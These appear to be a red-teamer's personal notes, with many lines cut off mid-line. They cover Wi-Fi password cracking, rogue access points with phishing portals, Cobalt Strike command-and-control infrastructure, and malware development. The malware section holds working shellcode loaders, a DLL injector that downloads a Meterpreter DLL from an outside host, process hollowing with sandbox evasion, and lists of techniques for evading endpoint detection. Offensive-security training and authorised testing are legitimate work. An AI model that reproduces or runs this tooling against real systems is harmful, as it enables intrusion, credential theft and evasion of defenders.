$ /usr/lib/hashcat-utils/cap2hccapx.bin SomeEssid-cleaned.cap SomeEssid.hccapx
$ hashcat -m 2500 -O -a 0 -w 4 --session=wpa2 -o wpa2.out wpa2.in SomeEssid.hccapx seclists/Pa
wifite2
PMKID
https://https://habr.com/ru/company/jetinfosystems/blog/419383/
wifite2
wifite2
https://github.com/derv82/wifite2
https://github.com/nuncan/wifite2mod
Install wifite2:
Fire up wifite2:
airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
wifiphisher
https://github.com/wifiphisher/wifiphisher
Creating a custom phishing scenario · wifiphisher/wifiphisher
Install:
Start a rogue AP with fake captive portal (firmware update scenario) on wlan1 and deauth clients with
wlan2:
$ sudo wifiphisher -aI wlan1 -eI wlan2 -p wifi connect
⚔️Red Team
Basics
https://redteam.guide/
https://malcomvetter.medium.com/how-to-create-an-internal-corporate-red-team-1023027ea1e3
Tactics
https://blog.binary-offensive.com/warcon-2022-modern-initial-access-and-evasion-tactics/
[PDF] WarCon22 - Modern Initial Access and Evasion Tactics (Mariusz Banach)
RTFM
https://github.com/leostat/rtfm
Cobalt Strike
https://reconshell.com/list-of-awesome-cobaltstrike-resources/
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
Malleable C2 Profiles
https://blog.zsec.uk/cobalt-strike-profiles/
https://github.com/rsmudge/Malleable-C2-Profiles
Aggressor Scripts
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_scri
pt.htm
https://chowdera.com/2021/02/20210204190220156W.html
Community Kit
https://cobalt-strike.github.io/community_kit/
https://github.com/penetrarnya-tm/WeaponizeKali.sh/blob/main/cs/README.md
P2P Beacons
Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection
to an existent beacon. They act like bind shells and waits for the attacker to connect to them.
DNS Beacons
https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike/
Create an A record ns66.example.com pointing to IP address of the redirector and then an NS record
pointing to ns66.example.com .
Before starting a DNS listener, the localhost resolver should be shut down if necessary: sudo
systemctl disable systemd-resolved --now .
socat Redirector
On the redirector:
iptables Redirector
Add
dns-forwarder-on.sh
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
Delete
dns-forwarder-off.sh
sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT
DNSMasq Redirector
https://buaq.net/go-20984.html
Overpass the Hash
More opsec PtH than builtin pth command (which does the Mimikatz sekurlsa::pth thing with named
pipe impersonation):
Or
$ echo -en "<BASE64_TICKET>" | base64 -d > tgt.kirbi
Pass-the-Ticket
Create a sacrificial process, import the TGT into its logon session and steal its security token:
Pivoting
Make any traffic hitting port 8443 on Victim to be redirected to 10.10.13.37 on port 443 (traffic flows through
the team server):
sub invoke_dcom
{
local('$handle $script $oneliner $payload');
Credentials
DPAPI
List credential blobs:
beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials
Check which master keys correspond to credential blobs (look for guidMasterKey field with GUID):
beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>
Decrypt the master key via RPC on the Domain Controller and show it:
Evasion
Sleep Mask
https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures
https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/
Infrastructure
https://ditrizna.medium.com/design-and-setup-of-c2-traffic-redirectors-ec3c11bd227d
https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure-3c4
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
https://github.com/mgeeky/RedWarden
[PDF] Orchestrating Resilient Red Team Operations (Yiannis Ioannides)
Nebula
https://notes.huskyhacks.dev/blog/red-team-infrastructure-done-right
https://github.com/slackhq/nebula/releases
Install:
Configs:
Lighthouse
lighthouse.yml
pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/lighthouse.crt
key: /opt/nebula/certs/lighthouse.key
static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: true
listen:
host: 0.0.0.0
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: 10.10.13.0/24
Teamserver
teamserver.yml
pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/teamserver.crt
key: /opt/nebula/certs/teamserver.key
static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "10.10.13.1"
listen:
host: 0.0.0.0
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 80
proto: any
host: any
- port: 443
proto: any
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: 10.10.13.0/24
Proxy
proxy1.yml
pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/proxy1.crt
key: /opt/nebula/certs/proxy1.key
static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "10.10.13.1"
listen:
host: 0.0.0.0
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 80
proto: any
host: any
- port: 443
proto: any
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: 10.10.13.0/24
Systemd unit:
/etc/systemd/system/nebula.service
[Unit]
Description=nebula
Wants=basic.target
After=basic.target network.target
[Service]
SyslogIdentifier=nebula
ExecReload=/bin/kill -HUP $MAINPID
ExecStart=/opt/nebula/nebula -config /opt/nebula/<CONFIG>.yml
Restart=always
[Install]
WantedBy=multi-user.target
Caddy
https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure
https://caddyserver.com/docs/install
https://github.com/caddyserver/caddy/releases
https://improsec.com/tech-blog/staging-cobalt-strike-with-mtls-using-caddy
https://github.com/improsec/CaddyStager
Install:
/etc/caddy/Caddyfile
{
log
#debug
admin off
#auto_https disable_redirects
}
(logging) {
log {
output file /var/log/caddy-{args.0}-access.log {
roll true
roll_size 1Mib
roll_local_time true
roll_keep 24
roll_keep_for 7d
}
}
}
(proxy-upstream) {
@ua_denylist {
header User-Agent curl*
}
@ip_denylist {
remote_ip 8.8.8.8/32
}
header {
-Server
+X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
+X-Content-Type-Options "nosniff"
}
reverse_proxy https://10.10.13.37:31337 {
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
transport http {
tls_insecure_skip_verify
}
}
}
https://example.com {
import logging all
#tls /opt/caddy/ssl/fullchain.pem /opt/caddy/ssl/privkey.pem
handle /files/* {
file_server {
# there should be this "files" directory in root
root /home/snovvcrash/www
#browse
}
}
handle {
import proxy-upstream
}
}
Malware Development
https://threadreaderapp.com/thread/1520676600681209858.html
EIKAR:
Code Snippets
C++
XOR encryption:
int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
AES encryption:
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and
_AddressOfReturnAddress) without manually walking the stack:
retaddr.cpp
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << oss.str() << std::endl;
}
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std
}
// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAd
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), st
}
Python
Run OS command:
runCmd.py
import subprocess, shlex
def run_command(command):
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = process.stdout.readline().decode()
if output == '' and process.poll() is not None:
break
if output:
print(output.strip())
res = process.poll()
return res
Blog Series
@0xPat
@cocomelonc
@preemptdev
Maelstrom: An Introduction
Maelstrom: The C2 Architecture
Maelstrom: Working with AMSI and ETW for Red and Blue
@chvancooten
API Hashing
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-
shellcode-detection
Examples
https://github.com/helpsystems/nanodump/blob/main/scripts/randomize_sw2_seed.py
API Hooking
https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-
using-c++
https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html
https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-2.html
Examples
C++
https://github.com/mgeeky/ShellcodeFluctuation/blob/master/ShellcodeFluctuation/main.cpp
https://github.com/snovvcrash/VeraCryptThief/blob/main/VeraCryptThiefDll/veracryptthief.cpp
C#
https://gist.github.com/NaxAlpha/144d1dd96c7d0ad29fe149e4063a8f25
Tools
https://github.com/CCob/MinHook.NET
https://github.com/CCob/SharpBlock
https://github.com/ars3n11/MineSweeper
BOF / COFF
Beacon Object Files / Common Object File Format
BOF
msgbox.c
// wget https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/c
// x86_64-w64-mingw32-gcc -c msgbox.c -o msgbox.o
#include <windows.h>
#include "beacon.h"
datap parser;
BeaconDataParse(&parser, args, len);
char* message;
message = BeaconDataExtract(&parser, NULL);
Aggressor
msgbox.cna
alias msgbox {
local('$handle $bof $args');
# Pack args
$args = bof_pack($1, "z", $2);
# Execute BOF
beacon_inline_execute($1, $bof, "go", $args);
}
https://www.trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs/
https://github.com/trustedsec/COFFLoader
https://skyblue.team/posts/invoke-bof/
https://github.com/airbus-cert/Invoke-Bof
https://github.com/Cracked5pider/CoffeeLdr
https://github.com/frkngksl/NiCOFF
RunOF
https://labs.nettitude.com/blog/introducing-runof-arbitrary-bof-tool/
https://github.com/nettitude/RunOF
An example of running the nanodump.x64.o BOF via RunOF fork from memory:
Compile RunOF.exe assembly and convert it to a PowerShell invoker (see .NET Reflective Assembly)
Search for argument types that the target BOF uses (usually located in accompanying Aggressor
scripts):
Load the invoker into memory, fetch the BOF ( -u option) and run it providing necessary arguments with
their types like this:
Code Injection
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-
process
https://blog.xpnsec.com/weird-ways-to-execute-dotnet/
https://gitlab.com/users/ORCA666/projects
Shellcode as Function
http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/
https://www.fergonez.net/post/shellcode-csharp
https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-
without-windows-apis
https://github.com/byt3bl33d3r/OffensiveNim/issues/16
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/simpleLoader.c
https://github.com/paranoidninja/Brute-Ratel-C4-Community-
Kit/blob/main/deprecated/badger_template.ps1
Windows
loader.c
#include <stdio.h>
#include <windows.h>
int main() {
DWORD lpThreadId = 0;
DWORD flOldProtect = 0;
int bufsize = sizeof(buf);
LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVER|MEM_COMMIT, PAGE_READWRITE)
for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
memcpy(f, buf, bufsize);
VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
((void(*)())f)();
//VirtualFree(f, 0, MEM_RELEASE);
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
Linux
loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
https://github.com/SolomonSklash/SleepyCrypt
https://gist.github.com/S3cur3Th1sSh1t/6022dc2050bb1b21be2105b8b0dc077d
https://github.com/mgeeky/ShellcodeFluctuation
https://github.com/phra/PEzor/blob/master/fluctuate.cpp
https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/
https://xz.aliyun.com/t/9399
https://github.com/zu1k/beacon_hook_bypass_memscan
https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html
https://github.com/y11en/FOLIAGE
https://github.com/ShellBind/G0T-B0R3D/blob/main/Cs-Sleep-Mask-Fiber.c
https://github.com/Cracked5pider/Ekko/blob/main/Src/Ekko.c
https://mez0.cc/posts/vulpes-obfuscating-memory-regions/
gargoyle
https://github.com/JLospinoso/gargoyle
https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-
evasion.html
https://labs.f-secure.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-
gargoyle/
https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/
https://github.com/waldo-irc/YouMayPasser
https://github.com/thefLink/DeepSleep
Memory Scanners
https://github.com/forrest-orr/moneta
https://github.com/hasherezade/pe-sieve
https://github.com/mgeeky/ThreadStackSpoofer/tree/c2507248723d167fb2feddf50d35435a17fd61a2
https://github.com/mgeeky/ThreadStackSpoofer
https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs/
https://github.com/countercept/CallStackSpoofer
https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-
explanation.html
PE to Shellcode
https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut
https://github.com/hasherezade/pe_to_shellcode
Example with SharpHound.exe and donut (C# cross-compilation is done with Mono):
sweetblood.sh
RNDNAME=`curl -sL https://github.com/penetrarnya-tm/WeaponizeKali.sh/raw/main/misc/binaries.tx
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -qO /tmp/
namespace Sh4rpH0und
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationTyp
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
PE Injection
https://gist.github.com/hasherezade/e6daa4124fab73543497b6d1295ece10
https://xakep.ru/2018/08/27/doppelganging-process/
https://xakep.ru/2022/04/21/herpaderping-and-ghosting/
Shellcode Execution via Callbacks
https://github.com/aahmad097/AlternativeShellcodeExec
https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/
https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/
http://ropgadget.com/posts/abusing_win_functions.html
CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource
Detection
https://www.mono-project.com/docs/tools+libraries/tools/monodis/
https://github.com/Dump-GUY/Get-PDInvokeImports
$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.P
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetM
T l
https://github.com/0xDivyanshu/Injector
https://github.com/jfmaes/SharpZipRunner
https://github.com/plackyhacker/Shellcode-Injection-Techniques
https://github.com/3xpl01tc0d3r/ProcessInjection
DLL Injectors
Inject DLLs into remote process's virtual address space
C# Executable
1. Allocate space for the malicious DLL in remote process's virtual address space.
2. Write the DLL contents into the allocated space.
3. Locate the address of the LoadLibraryA function in kernel32.dll with GetModuleHandle and
GetProcAddress . Most Windows native DLLs are allocated at the same base address, so the
obtained address of LoadLibraryA will be the same for the remote process.
4. Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA
address as the 4th argument of CreateRemoteThread and the name of the DLL to be loaded as the
5th argument.
All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.
DLLInjector.cs
using System;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace DLLInjector
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
wc.DownloadFile("http://10.10.13.37/met.dll", dllName);
// Allocate space for the DLL name in remote process's virtual address space and w
IntPtr dllAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, dllAddress, Encoding.Default.GetBytes(dllName), dllNa
According to this template that MSF is using to generate a DLL, there's another injection
technique (Thread Execution Hijacking) in the DLL code itself which is invoked upon
DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process
memory, but it rather forces new shellcode to be executed by rundll32.exe and the malicios
process (meterpreter shell, etc.) gets the PID of rundll32.exe . It may also result in hanging
the parent's process ( explorer.exe in terms of this example) and crashing it when the shell
dies.
Reflective DLL Injection
https://github.com/stephenfewer/ReflectiveDLLInjection#overview
https://github.com/dismantl/ImprovedReflectiveDLLInjection
https://github.com/Moriarty2016/NimRDI
https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
Invoke-ReflectivePEInjection
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-
ReflectivePEInjection.ps1
Process Hollowing
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/DinvokeProcessHollow.cs
3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get
the actual value of the image base address.
4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.
ProcessHollower.cs
using System;
using System.Runtime.InteropServices;
namespace ProcessHollower
{
class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int ProcessBasicInformation = 0;
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}
// Query created process to extract its base address pointer from PEB (Process Env
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
// Read 8 bytes of memory (IntPtr.Size is 8 bytes for x64) pointed by the image ba
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressByte
// We're got bytes as a result of memory read, then converted them to Int64 and ca
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryP
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lf
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfa
uint entrypointRvaOffset = e_lfanew + 0x28;
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPo
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + EN
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Write the shellcode to the EntryPoint address and resume thread execution
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
